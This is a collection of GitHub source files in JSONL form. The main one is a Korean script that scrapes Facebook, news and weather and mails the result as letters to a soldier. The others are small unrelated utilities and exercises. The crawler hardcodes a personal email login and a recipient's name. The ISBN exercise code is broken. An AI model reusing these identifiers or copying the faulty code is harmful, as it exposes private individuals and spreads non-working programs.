contents = soup.select('.userContentWrapper')\n contents_no_notice = [x for x in contents if not x.select('._449j')]\n\n timeID, count = self.getTimeData(pageName, 'Page')\n\n if timeID != -1:\n self.remDup(contents_no_notice, timeID)\n contents_reversed = list(reversed(contents_no_notice))\n\n texts = []\n for i in range(0, min(count, len(contents_reversed))):\n timeID = contents_reversed[i].find('a', {'class':'_5pcq'})['href']\n user_content = contents_reversed[i].find_all(attrs={'data-testid': 'post_message'})\n text = ' '.join(map(lambda x: x.text, user_content))\n print(text)\n texts.append(text)\n\n self.writeTimeData(pageName, 'Page', timeID)\n return '\\n'.join(texts)\n\n\n def groupFeed(self, groupName):\n if self.userName == \"\":\n print(\"Need username\")\n return\n req = requests.get(\"https://www.facebook.com/groups/\" + groupName)\n mainSoup = BeautifulSoup(req.content, 'html.parser')\n\n commentData = mainSoup.find_all(string=lambda text: isinstance(text, Comment))\n soup = BeautifulSoup(bytes(commentData[1], 'utf-8'), 'html.parser')\n contents = soup.select('._3ccb')\n\n timeID , count= self.getTimeData(groupName, 'Group')\n if timeID != -1:\n self.remDup(contents, timeID)\n contents_reversed = list(reversed(contents))\n\n texts = []\n for i in range(0, min(count, len(contents_reversed))):\n timeID = contents_reversed[i].find('a', {'class':'_5pcq'})['href']\n\n user_content = contents_reversed[i].find_all(attrs={'data-testid':'post_message'})\n text = '\\n[--Indented Text--]\\n'.join(map(lambda x: x.text, user_content))\n print(text)\n texts.append(text)\n\n self.writeTimeData(groupName, 'Group', timeID)\n return '\\n'.join(texts)\n\n def autoRunFromFile(self):\n result = []\n for targ in self.targList['Page']:\n result.append('[[Page Name: ' + targ + ']]' + str(self.pageFeed(targ)))\n for targ in self.targList['Group']:\n result.append('[[Group Name: ' + targ + ']]' + str(self.groupFeed(targ)))\n self.writeUserFile(self.targList)\n return '\\n'.join(result)\n\n\n#Letter Sending Class\nclass LetterClient:\n host = 'https://www.thecamp.or.kr'\n\n def __init__(self):\n self.session = requests.Session()\n\n def _post(self, endpoint, data):\n response = self.session.post(self.host + endpoint, data=data)\n if response.status_code != 200:\n raise ConnectionError(f'Connection failed: [{response.status_code}] - {response.text}')\n return response.text\n\n def login(self, userid, passwd):\n endpoint = '/login/loginA.do'\n data = {\n 'state': 'email-login',\n 'autoLoginYn': 'N',\n 'userId': userid,\n 'userPwd': passwd,\n }\n\n result = self._post(endpoint, data)\n result = json.loads(result, encoding='utf-8')\n\n if 'resultCd' in result and result['resultCd'] == '0000':\n print(f'Successfully Login! [{userid}]')\n return True\n print(f'Login failed. [{result[\"resultMsg\"] if \"resultMsg\" in result else \"Unknown Error\"}]')\n return False\n\n def add_soldier(self, group, name, birth, enter_date, train_unit, relation, phone=''):\n recruit_code = '0000490001'\n\n group_code = self.get_group_code(group)\n train_unit_code = self.get_train_unit_table(group)[train_unit]\n relation_code = self.get_relation_code(relation)\n\n endpoint = '/missSoldier/insertDirectMissSoldierA.do'\n data = {\n 'missSoldierClassCd': recruit_code,\n 'grpCd': group_code,\n 'name': name,\n 'birth': birth,\n 'enterDate': enter_date,\n 'trainUnitCd': train_unit_code,\n 'phoneNo': phone,\n 'missSoldierRelationshipCd': relation_code\n }\n\n result = self._post(endpoint, data)\n result = json.loads(result, encoding='utf-8')\n\n if 'resultCd' in result and result['resultCd'] == '0000':\n print(f'Successfully Registered! [{name}]')\n return True\n print(f'Register failed. [{result[\"resultMsg\"] if \"resultMsg\" in result else \"Unknown Error\"}]')\n return False\n\n def send_letter(self, name, title, content):\n chkedContent = self.splitContent(content)\n\n\n for cont in chkedContent:\n print(\"cont-------------\" + cont + \"\\n\")\n self.send(name, title, cont)\n\n def send(self, name, title, content):\n cafes = self.get_cafes()\n if name not in cafes:\n print(f'No Cafe with name: [{name}].')\n return False\n if cafes[name] is None:\n print(f'Cafe[{name}] is not open yet.')\n return False\n\n mgr_seq = self._get_mgr_seq(*cafes[name])\n endpoint = '/consolLetter/insertConsolLetterA.do'\n data = {\n 'boardDiv': '',\n 'tempSaveYn': 'N',\n 'sympathyLetterEditorFileGroupSeq': '',\n 'fileGroupMgrSeq': '',\n 'fileMgrSeq': '',\n 'sympathyLetterMgrSeq': '',\n 'traineeMgrSeq': mgr_seq,\n 'sympathyLetterSubject': title,\n 'sympathyLetterContent': content,\n }\n\n result = self._post(endpoint, data)\n #result = json.loads(result, encoding='utf-8')\n print(result)\n\n def splitContent(self, content):\n splited = content.split('\\n')\n slen = 0\n bodies = []\n for i in range(0, len(splited)):\n if slen + len(splited[i]) > 1450:\n bodies.append('\\n'.join(splited[:i - 1]) + '\\n' +splited[i][:1450 - slen])\n bodies += self.splitContent(splited[i][1450-slen:] + '\\n' + '\\n'.join(splited[i + 1:]))\n return bodies\n slen += len(splited[i])\n if i == 24:\n bodies.append(\"\\n\".join(splited[:i]))\n bodies += self.splitContent('\\n'.join(splited[i + 1:]))\n return bodies\n bodies.append(content)\n return bodies\n\n def get_cafes(self):\n endpoint = '/eduUnitCafe/viewEduUnitCafeMain.do'\n data = {}\n result = self._post(endpoint, data)\n soup = BeautifulSoup(result, 'html.parser')\n\n cafe_table = {}\n\n cafes = soup.select('.cafe-card-box')\n for cafe in cafes:\n name_div = cafe.select('.profile-wrap .id span')[0]\n name = name_div.text.split()[0]\n\n buttons = cafe.select('.btn-wrap')[0].find_all('a')\n\n for button in buttons:\n if button.text == '위문편지':\n regex = re.compile('\\'\\d+\\'')\n codes = regex.findall(button['href'])\n\n edu_seq, train_unit_code = map(lambda x: int(x[1:-1]), codes)\n cafe_table[name] = (edu_seq, train_unit_code)\n break\n else:\n cafe_table[name] = None\n continue\n\n return cafe_table\n\n def _get_mgr_seq(self, edu_seq, train_unit_code):\n endpoint = '/consolLetter/viewConsolLetterMain.do'\n data = {\n 'trainUnitEduSeq': edu_seq,\n 'trainUnitCd': train_unit_code,\n }\n result = self._post(endpoint, data)\n soup = BeautifulSoup(result, 'html.parser')\n\n letter_box = soup.select('.letter-card-box')[0]\n regex = re.compile('\\'\\d+\\'')\n codes = regex.findall(letter_box['href'])\n\n mgr_seq = map(lambda x: int(x[1:-1]), codes)\n return mgr_seq\n\n def get_group_code(self, group_name):\n group_code_table = {\n '육군': '0000010001',\n '해군': '0000010002',\n '공군': '0000010003',\n '해병대': '0000010004',\n }\n if group_name not in group_code_table:\n return ''\n return group_code_table[group_name]\n\n def get_train_unit_table(self, group_name):\n # endpoint = '/selectCmmnCodeListA.do'\n # endpoint = '/join/selectCommCdListA.do'\n endpoint = '/join/selectTrainUnitListA.do'\n data = {\n 'grpCd': self.get_group_code(group_name),\n }\n result = self._post(endpoint, data)\n result = json.loads(result, encoding='utf-8')\n\n unit_table = {}\n for unit in result['trainUnitList']:\n unit_table[unit['trainUnitNm']] = unit['trainUnitCd']\n return unit_table\n\n def get_relation_code(self, relation_name):\n relation_code_table = {\n '부모': '0000420001',\n '형제/자매': '0000420002',\n '배우자': '0000420003',\n '친척': '0000420004',\n '애인': '0000420005',\n '친구/지인': '0000420006',\n '팬': '0000420007',\n }\n if relation_name not in relation_code_table:\n return ''\n return relation_code_table[relation_name]\n\n#News Crawler Class\nclass NewsCrawler:\n class NaverNews:\n soup = \"\"\n class NewsType(Enum):\n POLITIC = 0\n ECONOMY = 1\n SOCIETY = 2\n LIFECULTURE = 3\n WORLD = 4\n ITSCIENCE = 5\n\n def getNewsPage(self):\n newsPage = requests.get(\"https://news.naver.com/\")\n self.soup = BeautifulSoup(newsPage.content, \"html.parser\")\n\n def getNewsTitles(self, newsType):\n texts = []\n for child in self.soup.select(\"#ranking_10\" + str(newsType.value) + \" > ul\"):\n texts.append(child.get_text())\n return '\\n'.join(texts)\n\n class GoogleNews:\n soup = \"\"\n CONST_HEADLINE_URL = \"https://news.google.com/?hl=ko&gl=KR&ceid=KR%3Ako\"\n CONST_KOR_URL = \"https://news.google.com/topics/CAAqIQgKIhtDQkFTRGdvSUwyMHZNRFp4WkRNU0FtdHZLQUFQAQ?hl=ko&gl=KR&ceid=KR%3Ako\"\n CONST_WORLD_URL = \"https://news.google.com/topics/CAAqJggKIiBDQkFTRWdvSUwyMHZNRGx1YlY4U0FtdHZHZ0pMVWlnQVAB?hl=ko&gl=KR&ceid=KR%3Ako\"\n CONST_BUSINESS_URL = \"https://news.google.com/topics/CAAqJggKIiBDQkFTRWdvSUwyMHZNRGx6TVdZU0FtdHZHZ0pMVWlnQVAB?hl=ko&gl=KR&ceid=KR%3Ako\"\n CONST_SCI_TECH_URL = \"https://news.google.com/topics/CAAqKAgKIiJDQkFTRXdvSkwyMHZNR1ptZHpWbUVnSnJieG9DUzFJb0FBUAE?hl=ko&gl=KR&ceid=KR%3Ako\"\n CONST_ENTERTAIN_URL = \"https://news.google.com/topics/CAAqJggKIiBDQkFTRWdvSUwyMHZNREpxYW5RU0FtdHZHZ0pMVWlnQVAB?hl=ko&gl=KR&ceid=KR%3Ako\"\n CONST_SPORTS_URL = \"https://news.google.com/topics/CAAqJggKIiBDQkFTRWdvSUwyMHZNRFp1ZEdvU0FtdHZHZ0pMVWlnQVAB?hl=ko&gl=KR&ceid=KR%3Ako\"\n CONST_HEALTH_URL = \"https://news.google.com/topics/CAAqIQgKIhtDQkFTRGdvSUwyMHZNR3QwTlRFU0FtdHZLQUFQAQ?hl=ko&gl=KR&ceid=KR%3Ako\"\n\n def getNewsTitles(self, newsURL, num):\n newsPage = requests.get(newsURL)\n soup = BeautifulSoup(newsPage.content, \"html.parser\")\n texts = []\n for i in range(0, num):\n texts.append(soup.select(\".DY5T1d\")[i].get_text())\n return '\\n'.join(texts)\n\n class Corona:\n def getTodayData(self):\n soup = BeautifulSoup(requests.get(\"http://ncov.mohw.go.kr/\").content, \"html.parser\")\n texts = []\n for child in soup.select(\".liveNum > .liveNum\"):\n texts.append(re.sub('\\n\\+|\\?\\n|\\n','',child.get_text().strip()))\n return ' '.join(texts)\n\n#Weather Crawler Class\nclass WeatherCrawler:\n\n def parseWeatherInfo(self, tBodySoup):\n mTemp = tBodySoup.select(\".cell\")[0].select(\".temp\")[0].get_text()\n aTemp = tBodySoup.select(\".cell\")[1].select(\".temp\")[0].get_text()\n\n if len(tBodySoup.select(\"th\")) == 0:\n date = \"내일\"\n mSplit = tBodySoup.select(\".cell\")[0].select(\".info\")[0].get_text().split(\"강수확률\")\n aSplit = tBodySoup.select(\".cell\")[1].select(\".info\")[0].get_text().split('강수확률')\n morning = mTemp + \"℃ - \" + mSplit[0] + ' - 강수확률' + mSplit[1]\n afternoon = aTemp + \"℃ - \" + aSplit[0] + ' - 강수확률 ' + aSplit[1]\n else:\n date = tBodySoup.select(\"th\")[0].get_text()\n morning = mTemp + \"℃ - \" + tBodySoup.select(\".cell\")[0].select(\".info\")[0].get_text()\n afternoon = aTemp + \"℃ - \" + tBodySoup.select(\".cell\")[1].select(\".info\")[0].get_text()\n\n return '(' + date + ', ' + morning + ', ' + afternoon + ')'\n\n def getWeather(self):\n req = requests.get(\"https://weather.naver.com/rgn/townWetr.nhn?naverRgnCd=15230253\")\n soup = BeautifulSoup(req.content, 'html.parser')\n respSoup = soup.select(\"table\")\n\n result = []\n result.append(self.parseWeatherInfo(respSoup[1].select(\"td\")[1]))\n for child in respSoup[2].select(\"tr\"):\n result.append(self.parseWeatherInfo(child))\n\n return '\\n'.join(result)\n\nif __name__ == \"__main__\":\n\n fbc = FacebookCrawler()\n fbc.set_user('ryu')\n fbcResult = fbc.autoRunFromFile()\n print(fbcResult)\n wtc = WeatherCrawler()\n wtcResult = wtc.getWeather()\n\n newsList = []\n nc = NewsCrawler.NaverNews()\n nc.getNewsPage()\n newsList.append(nc.getNewsTitles(nc.NewsType.LIFECULTURE))\n newsList.append(nc.getNewsTitles(nc.NewsType.WORLD))\n\n cc = NewsCrawler.Corona()\n newsList.append(cc.getTodayData())\n\n lc = LetterClient()\n #print('\\n'.join(newsList))\n lc.login(\"rshtiger@naver.com\", \"\")\n lc.send_letter(\"김재이\", \".\", fbcResult)\n","repo_name":"nuxlear/military-letter-crawler","sub_path":"military_letter_crawler.py","file_name":"military_letter_crawler.py","file_ext":"py","file_size_in_byte":16227,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"1996365654","text":"# coding=utf-8\nfrom builtins import range\nfrom builtins import object\nfrom datetime import datetime, timedelta\nfrom math import isnan\nfrom django.utils.translation import ugettext as _\nimport numpy\nimport pytz\nfrom realtime.models.earthquake import Earthquake\n\n__author__ = 'Rizky Maulana Nugraha \"lucernae\" '\n__date__ = '04/09/15'\n\n\nSTATUS_HEALTHY = 'Healthy'\nSTATUS_WARNING = 'Warning'\nSTATUS_CRITICAL = 'Critical'\n\n\nclass Indicator(object):\n \"\"\"An abstract class of indicators.\n\n This class should provide a way to generate indicator info to know that\n realtime is running fine.\n \"\"\"\n\n def __init__(self):\n self._value = None\n self._label = None\n self._status = None\n\n @property\n def value(self):\n return self._value\n\n @property\n def label(self):\n return self._label\n\n @property\n def status(self):\n return self._status\n\n def value_humanize(self):\n raise NotImplementedError()\n\n def notes(self):\n raise NotImplementedError()\n\n def is_healthy(self):\n return self.status == STATUS_HEALTHY\n\n def is_warning(self):\n return self.status == STATUS_WARNING\n\n def is_critical(self):\n return self.status == STATUS_CRITICAL\n\n def status_text(self):\n if self.status == STATUS_HEALTHY:\n return _('Healthy')\n elif self.status == STATUS_WARNING:\n return _('Warning')\n elif self.status == STATUS_CRITICAL:\n return _('Critical')\n else:\n return _('Not Available')\n\n\n# this line onward will contains helpers method\ndef average_shake_interval(num_days=30):\n \"\"\"Calculates average interval between shake events.\n\n It is calculated in the span of previous 30 days\n\n :param num_days: Number of previous days the function will calculate\n :type num_days: int\n\n :return: tuple of mean interval and standard deviation of shake events\n :rtype: tuple\n \"\"\"\n last_span = datetime.utcnow() - timedelta(days=num_days)\n last_span.replace(tzinfo=pytz.utc)\n shakes = Earthquake.objects.filter(time__gte=last_span)\n intervals = []\n for i in range(1, len(shakes)):\n prev_shake = shakes[i - 1]\n shake = shakes[i]\n intervals.append(shake.time - prev_shake.time)\n\n # using numpy to calculate mean\n intervals = numpy.array([i.total_seconds() for i in intervals])\n mean_interval = numpy.mean(intervals)\n if isinstance(mean_interval, float) and isnan(mean_interval):\n mean_interval = 0\n\n # using numpy to calculate std\n deviation = numpy.std(intervals)\n if isinstance(deviation, float) and isnan(deviation):\n deviation = 0\n return timedelta(seconds=mean_interval), timedelta(seconds=deviation)\n","repo_name":"inasafe/inasafe-django","sub_path":"django_project/realtime/helpers/base_indicator.py","file_name":"base_indicator.py","file_ext":"py","file_size_in_byte":2769,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"74093869551","text":"import requests\nimport json\n\n\ndef sendEmail(recipients, subject, message):\n payload = {\"emails\": [], \"subject\": subject, \"message\": message}\n for number in recipients:\n payload[\"emails\"].append(number)\n headers = {\"username\": \"ses_api\"}\n url = \"https://3u42tnm3ll.execute-api.us-west-2.amazonaws.com/Email_Sender\"\n response = requests.post(url, headers=headers, json=payload)\n return response\n\n\nif __name__ == \"__main__\":\n import sys\n if (len(sys.argv) > 1):\n recipients = [sys.argv[1]]\n else:\n recipients = [\"apond308@gmail.com\"]\n sendEmail(recipients, \"Test Email\", \"This is a test email.\")\n","repo_name":"apond308/institute_reminders","sub_path":"emailer.py","file_name":"emailer.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"22839289808","text":"p=[]\r\nnp=[]\r\nfor i in range(1,20):\r\n if i==2 or i==3 or i==5 or i==7:\r\n p.append(i)\r\n elif i%2==0 or i%3==0 or i%5==0 or i%7==0:\r\n np.append(i)\r\n else:\r\n p.append(i)\r\nprint(\"prime\",p)\r\nprint(\"not prime\",np)","repo_name":"shkrunal/python","sub_path":"program/prime1.py","file_name":"prime1.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"8365605088","text":"#%%\nfrom utils import *\nfrom functools import reduce\n#%%\n# At some point I will do multinomial iid \ndef typical_element_prob(p, N):\n bid = binary_iid([1, 0], bern(p), N)\n prod = reduce(lambda x, y: x * y, map(lambda x: pow(x, N * x), bid.probs))\n return prod, bid.entropy(bid.outcomes)\np = 0.1\nN = 100\ntsp = []\netsp = []\ndist = list(range(N))\ndiff = []\nfor n in dist:\n tep, h = typical_element_prob(p, n)\n etep = -n * h\n d = abs((1/n)*lg(1/tep) - h) if n != 0 else 0\n tsp.append(tep)\n etsp.append(pow(2, etep))\n diff.append(d)\nplt.plot(dist, tsp, label=\"typical element prob\")\nplt.plot(dist, etsp, label=\"estimated tep\")\nplt.legend()\n# %%\n# uniform convergence? \nplt.plot(dist, diff)\n\n# %%\n","repo_name":"hithisisdhara/statistical_ML-","sub_path":"ch4/asymptotic_equipartition.py","file_name":"asymptotic_equipartition.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"13716318903","text":"from result import Ok, Err\nfrom protector.rules.loader import import_rules\n\n\nclass Guard(object):\n \"\"\"\n The guard checks a given query for their possible impact.\n It does so by iterating over all active rules and checking for violations\n \"\"\"\n\n def __init__(self, rule_names):\n self.rules = import_rules(rule_names)\n\n def is_allowed(self, parsed_query):\n if not parsed_query:\n return Err(\"Could not parse query\")\n\n for rule in self.rules.itervalues():\n check = rule.check(parsed_query)\n if not check.is_ok():\n return Err(check.value)\n return Ok(True)\n","repo_name":"trivago/Protector","sub_path":"protector/guard/guard.py","file_name":"guard.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"38"} +{"seq_id":"25040132140","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nNumseq Assessment--Fibonacci Numbers\nbecause fibonacci rocks!\n\"\"\"\n\n__author__ = \"mhoelzer\"\n\n\nimport sys\nimport argparse\n\n\ndef fib(n):\n \"\"\"\"finds the nth fib num because we don't care about the other numbers\"\"\"\n if n <= 1:\n return n\n else:\n return fib(n - 1) + fib(n - 2)\n\n\ndef create_parser():\n \"\"\"Creates and returns an argparse cmd line option parser\"\"\"\n parser = argparse.ArgumentParser(\n description=\"Perform transformation on input text.\")\n parser.add_argument(\n \"num\", help=\"include a number to find the nth fib of\")\n return parser\n\n\ndef main(args):\n \"\"\"main function used to run fib()\"\"\"\n parser = create_parser()\n namespace = parser.parse_args()\n if not namespace:\n parser.print_usage()\n sys.exit(1)\n n = int(namespace.num)\n return fib(n)\n\n\nif __name__ == \"__main__\":\n # example of cmdln: python fib.py \n # need to be inside numseq folder\n print(main(sys.argv[1:]))\n","repo_name":"mhoelzer/backend-numseq-package","sub_path":"numseq/fib.py","file_name":"fib.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"748302336","text":"import urllib2\nimport json\n\n\nBOT_TOKEN = \"\" # <- PASTE YOUR BOT'S TOKEN HERE\nOPS_TEAM_SPACE = \"\" # <- ROOM ID WHERE THE MESSAGE WILL BE POSTED\nCHATOPS_SPACE = \"\" # <- ROOM ID WHERE DEBUG MESSAGE WILL BE POSTED\nAGENT_ADDRESS = \"\" # <- SIP address to transfer call to\n\nHEADERS = {\"Content-type\" : \"application/json; charset=utf-8\",\n \"Authorization\" : \"Bearer %s\" % BOT_TOKEN}\n\ndef post_message(room_id, msg):\n\n url = 'https://api.ciscospark.com/v1/messages'\n data = {\n \"roomId\": room_id,\n \"text\": msg\n }\n request = urllib2.Request(url, data=json.dumps(data), headers=HEADERS)\n response=urllib2.urlopen(request)\n if response.getcode() == 200:\n log(\"SPARK_LOG: Message was successfully logged to Spark, response code: \" + str(response.getcode()))\n else:\n log(\"SPARK_LOG: could not log to Spark, response code: \" + str(response.getcode()))\n\ndef signal(msg):\n log(\"SIGNAL: \" + msg)\n spark = post_message(OPS_TEAM_SPACE, msg)\n\n\n## Posts to a Chatops space\ndef chatops(entry):\n log(\"DEBUG: \" + entry)\n spark = post_message(CHATOPS_SPACE, entry)\n\ndef on_choice(num):\n if num == \"1\":\n chatops(\"on_choice = 1\")\n signal(\"Employee (tel: \" + str(currentCall.callerID) + \") will be late today\")\n say(\"Your delay has been notified to the Operations team\")\n elif num == \"2\":\n chatops(\"on_choice = 2\")\n signal(\"Employee (tel: \" + str(currentCall.callerID) + \") won't join today\")\n say(\"Your absence has been notified to the Operations team\")\n elif num == \"3\":\n chatops(\"on_choice = 3\")\n signal(\"Employee (tel: \" + str(currentCall.callerID) + \") asked to be transferred to an agent\")\n say(\"Got it, now transferring you. Please hold on...\")\n transfer(AGENT_ADDRESS, {\n \"playvalue\": \"http://www.phono.com/audio/holdmusic.mp3\",\n \"terminator\": \"*\",\n \"onTimeout\": lambda event: {\n chatops(\"transfer timeout for callerId: \" + str(currentCall.callerID)),\n say(\"Sorry, nobody's available. Please contact us later....\"),\n signal(\"Employee (tel: \" + str(currentCall.callerID) + \") could not be transferred to an agent\")\n },\n \"onBusy\": lambda event: {\n chatops(\"line busy for callerId: \" + str(currentCall.callerID)),\n say(\"Sorry, line is busy. Please try again later...\"),\n signal(\"Employee (tel: \" + str(currentCall.callerID) + \") could not be transferred to an agent\")\n },\n \"onConnect\": lambda event: {\n chatops(\"transfer successful for callerId: \" + str(currentCall.callerID)),\n say(\"You're now connected !\")\n }\n })\n\nif currentCall:\n\n wait(1000)\n say(\"Welcome to the Staff Work Status Service\")\n chatops(\"spoke welcome message to callerId: \" + str(currentCall.callerID))\n wait(500)\n\n ask(\"Dial 1 if you'll be late today, 2 if you won't make it at all, and 3 to be transferred to an operator\", {\n \"choices\": \"1, 2, 3\",\n \"terminator\": \"#\",\n \"attempts\": 3,\n \"mode\": \"dtmf\",\n \"onBadChoice\": lambda event: say(\"Your entry is not a valid.\"),\n \"onChoice\": lambda event: on_choice(event.value)\n })\n\n say(\"Bye bye !\")\n wait(1000)\nelse:\n chatops(\"tropo script version: DATE TIME\")\n","repo_name":"twannatkins/Sample-Code-Project---CollabVT-2017-Lab1","sub_path":"itp/collab-tropo-spark-mission-signal-itp/complete_sample.py","file_name":"complete_sample.py","file_ext":"py","file_size_in_byte":3439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"70853052590","text":"quantity = 3\nitemno = 567\nprice = 49\n\nmyorder = f\"I want {quantity} pieces of item number {itemno} for {price} dollars.\"\nprint(myorder)\n\n\ndef Hello_world():\n\tprint(\"Hello World\")\n\tHello_Bangladesh()\n\ndef Hello_Bangladesh():\n\tprint(\"Hello Bangladesh\")\n\nHello_world()","repo_name":"RifatMuhtasim/Python_for_Data_Science","sub_path":"Basic_Python/1.21.Python_string_formatting.py","file_name":"1.21.Python_string_formatting.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"73384139631","text":"import shutil\nimport os\nfrom tqdm import tqdm\nimport sys\n\ndef clean_dir(map_dir,prefix='ResNet50_E_ImageNet_'):\n all_files = [f for f in os.listdir(map_dir) if f!='base_map']\n all_files = sorted(all_files,key = lambda x: int(x.split('_')[-1]))\n all_files = all_files[:-2]\n # print(all_files)\n for f in tqdm(all_files):\n shutil.rmtree(os.path.join(map_dir,f))\n\n\nif __name__=='__main__':\n print(sys.argv)\n if len(sys.argv)>1:\n clean_dir(sys.argv[1])","repo_name":"ymp5078/cse586","sub_path":"clean_files.py","file_name":"clean_files.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"22983581566","text":"def overzicht(lijst):\n Engelstalige_landen = 0\n Franstalige_landen = 0\n Duitstalige_landen = 0\n Japan = 0\n Russischtalige_landen = 0\n China = 0\n Overige = 0\n Fouten = 0\n for j in range(len(lijst)):\n for i in len[j]:\n if i[:2] == 979 or i[:2] == 978:\n if i[3] == 0 or i[3] == 1:\n Engelstalige_landen += 1\n elif i[3] == 2:\n Franstalige_landen += 1\n elif i[3] == 3:\n Duitstalige_landen += 1\n elif i[3] == 4:\n Japan += 1\n elif i[3] == 5:\n Russischtalige_landen += 1\n elif i[3] == 7:\n China += 1\n else:\n Overige+= 1\n else:\n Fouten += 1\n return('Engelstalige landen: {}'.format(Engelstalige_landen))\n ('Franstalige landen: {}'.format(Franstalige_landen))\n ('Duitstalige landen: {}'.format(Duitstalige_landen))\n ('Japan: {}'.format(Japan))\n ('Russischtalige landen: {}'.format(Russischtalige_landen))\n ('China: {}'.format(China))\n ('Overige landen: {}'.format(Overige))\n ('Fouten: {}'.format(Fouten))","repo_name":"VerstraeteBert/algos-ds","sub_path":"test/vraag4/src/isbn/93.py","file_name":"93.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"nl","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"38114390318","text":"import boto3\n\nelb = boto3.client(\"elbv2\")\n\ndef create_load_balancer(name:str, security_group_ids:\"list[str]\", subnet_ids:\"list[str]\"):\n \"\"\"\n creates an internet facing application load balancer with Name=name and the security groups specified in security_group_ids\n the subnets used will be by default us-east-1a and us-east-1b as specified in SUBNETS. IpV4 is used for IP.\n \n @param name: str the name of the load balancer\n @param security_group_ids: list[str] the list of security group IDs (['sg-id1', sg-'id2'])\n @param subnet_ids : list[str] the list of subnet IDs (['sn-id1', sn-'id2']), length must be 2 or more\n\n @return: response containing the balancer arn and other data\n \"\"\"\n print(\"Creating load balancer and listener\")\n\n load_balancer = elb.create_load_balancer(\n Name=name,\n Subnets=subnet_ids,\n Scheme='internet-facing',\n Type='application',\n IpAddressType='ipv4',\n SecurityGroups=security_group_ids\n )\n\n print(\"done\\n\")\n return load_balancer['LoadBalancers'][0]\n\ndef create_forward_listener(load_balancer_arn:str, port:int, target1_arn:str, target2_arn:str):\n \"\"\"\n Create a listener on load balancer with ARN = load_balancer_arn,\n the listener will be on Port = port and forward to two target groups\n \n @param load_balancer_arn:str ARN of the load balancer\n @param port:int Port on which the listener will listen\n @param target1_arn:str First target group arn\n @param target2_arn:str Second target group arn\n\n @return: ARN of the created listener\n \"\"\"\n print(f\"Creating forward listener on load balancer {load_balancer_arn} on port {port}\")\n\n response = elb.create_listener(\n DefaultActions=[\n {\n 'Type': 'forward',\n 'ForwardConfig': {\n 'TargetGroups': [\n {\n 'TargetGroupArn': target1_arn,\n 'Weight': 50\n },\n {\n 'TargetGroupArn': target2_arn,\n 'Weight': 50\n },\n ],\n },\n }\n ],\n LoadBalancerArn=load_balancer_arn,\n Port=port,\n Protocol='HTTP',\n )\n\n print(\"done\\n\")\n return response['Listeners'][0]['ListenerArn']\n\ndef attach_target_group_to_listener(listener_arn:str, target_group_arn:str, path:str, priority:int):\n \"\"\"\n attaches target group with ARN = target_group_arn to listener with ARN = listener_arn,\n the listener will forward to target group for specified path\n \n @param listener_arn:str ARN of the listener\n @param target_group_arn:str ARN of the target group\n @param path:str Path on which the listener will forward to target group\n @param priority:int Rule priority\n \n @return: arn of rule created\n \"\"\"\n print(f\"Attaching target group {target_group_arn} to listener {listener_arn}\")\n\n response = elb.create_rule(\n ListenerArn=listener_arn,\n Conditions=[\n {\n 'Field': 'path-pattern',\n 'PathPatternConfig': {\n 'Values': [\n path\n ]\n },\n },\n ],\n Priority=priority,\n Actions=[\n {\n 'Type': 'forward',\n 'TargetGroupArn': target_group_arn,\n }\n ]\n )\n\n print(\"done\\n\")\n return response['Rules'][0]['RuleArn']\n\ndef delete_load_balancer(load_balancer_arn:str):\n \"\"\"\n Deletes the specified load balancer.\n\n @param load_balancer_arn:str The arn associated with the load balancer.\n @return:dict.\n \"\"\"\n print(\"Deleting load balancer \", load_balancer_arn)\n response = elb.delete_load_balancer(LoadBalancerArn=load_balancer_arn)\n\n # Wait for the load balancer to be deleted\n waiter = elb.get_waiter('load_balancers_deleted')\n waiter.wait(LoadBalancerArns=[load_balancer_arn])\n\n return response\n\ndef delete_rule(rule_arn:str):\n \"\"\"\n Deletes the specified rule.\n\n @param rule_arn:str The arn associated with the rule.\n @return:dict.\n \"\"\"\n print(\"Deleting rule \", rule_arn)\n return elb.delete_rule(RuleArn=rule_arn)\n\ndef delete_target_group(target_group_arn:str):\n \"\"\"\n Deletes the specified target group..\n\n @param target_group_arn:str The Amazon Resource Name (ARN) of the target group.\n @return: dict\n \"\"\"\n print(\"Deleting target group \", target_group_arn)\n return elb.delete_target_group(TargetGroupArn=target_group_arn)\n","repo_name":"MichelleSS1/Lab8415","sub_path":"Lab1/infra/load_balancer.py","file_name":"load_balancer.py","file_ext":"py","file_size_in_byte":4853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"74569062829","text":"import pika\nimport wikipedia\n\nconnection = pika.BlockingConnection(pika.ConnectionParameters(host='localhost'))\nchannel = connection.channel()\n\nchannel.exchange_declare(exchange='logs', exchange_type='fanout')\n\nresult = channel.queue_declare(queue='', exclusive=True)\nqueue_name = result.method.queue\n\nchannel.queue_bind(exchange='logs', queue=queue_name)\n\nprint(' [*] Waiting for logs. To exit press CTRL+C')\n\ndef callback(ch, method, properties, body):\n message = body.decode(\"UTF-8\")\n message = message.split(' ')\n print(\" [x] %r\" % wikipedia.summary(message[1]))\n print(\"\\n*************TERMINE*************\\n\")\n\nchannel.basic_consume(\n queue=queue_name, on_message_callback=callback, 